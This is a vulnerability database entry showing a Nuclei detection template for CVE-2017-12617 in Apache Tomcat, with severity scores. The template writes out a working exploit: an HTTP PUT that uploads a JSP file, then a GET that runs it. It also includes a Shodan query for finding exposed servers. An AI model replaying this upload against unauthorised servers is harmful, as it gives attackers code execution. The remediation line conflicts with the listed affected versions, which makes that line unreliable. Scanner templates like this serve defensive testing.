Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2017-12617
HistoryJun 15, 2023 - 8:45 a.m.

Apache Tomcat - Remote Code Execution

2023-06-1508:45:00
ProjectDiscovery
github.com
5

8.1 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

HIGH

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

7.7 High

AI Score

Confidence

High

6.8 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

0.975 High

EPSS

Percentile

100.0%

When running Apache Tomcat versions 9.0.0.M1 to 9.0.0, 8.5.0 to 8.5.22, 8.0.0.RC1 to 8.0.46 and 7.0.0 to 7.0.81 with HTTP PUTs enabled (e.g. via setting the readonly initialisation parameter of the Default servlet to false) it was possible to upload a JSP file to the server via a specially crafted request. This JSP could then be requested and any code it contained would be executed by the server.
id: CVE-2017-12617

info:
  name: Apache Tomcat - Remote Code Execution
  author: pussycat0x
  severity: high
  description: |
    When running Apache Tomcat versions 9.0.0.M1 to 9.0.0, 8.5.0 to 8.5.22, 8.0.0.RC1 to 8.0.46 and 7.0.0 to 7.0.81 with HTTP PUTs enabled (e.g. via setting the readonly initialisation parameter of the Default servlet to false) it was possible to upload a JSP file to the server via a specially crafted request. This JSP could then be requested and any code it contained would be executed by the server.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary code on the affected server.
  remediation: |
    Upgrade to Apache Tomcat version 7.0.80 or later to mitigate this vulnerability.
  reference:
    - https://versa-networks.com/blog/apache-tomcat-remote-code-execution-vulnerability-cve-2017-12617/
    - https://github.com/cyberheartmi9/CVE-2017-12617
    - https://www.exploit-db.com/exploits/43008
    - https://nvd.nist.gov/vuln/detail/CVE-2017-12617
    - http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: "CVE-2017-12617"
    cwe-id: CWE-434
    epss-score: 0.97533
    epss-percentile: 0.99992
    cpe: cpe:2.3:a:apache:tomcat:7.0.0:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 2
    vendor: apache
    product: tomcat
    shodan-query: html:"Apache Tomcat"
  tags: cve2017,cve,tomcat,apache,rce,kev,intrusive

http:
  - raw:
      - |
        PUT /{{randstr}}.jsp/ HTTP/1.1
        Host: {{Hostname}}

        <% out.println("CVE-2017-12617");%>
      - |
        GET /{{randstr}}.jsp HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "CVE-2017-12617"

      - type: status
        status:
          - 200
# digest: 490a0046304402206cb00e6b5ee9e566dec0f1232554eaeda4e733f1c1dd46e3373f782288e400b0022062b74144462bbf9d3db2d69023b0aeacde9792aed39f01c1f567d838f5ff8a8e:922c64590222798bb761d5b6d8e72950

8.1 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

HIGH

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

7.7 High

AI Score

Confidence

High

6.8 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

0.975 High

EPSS

Percentile

100.0%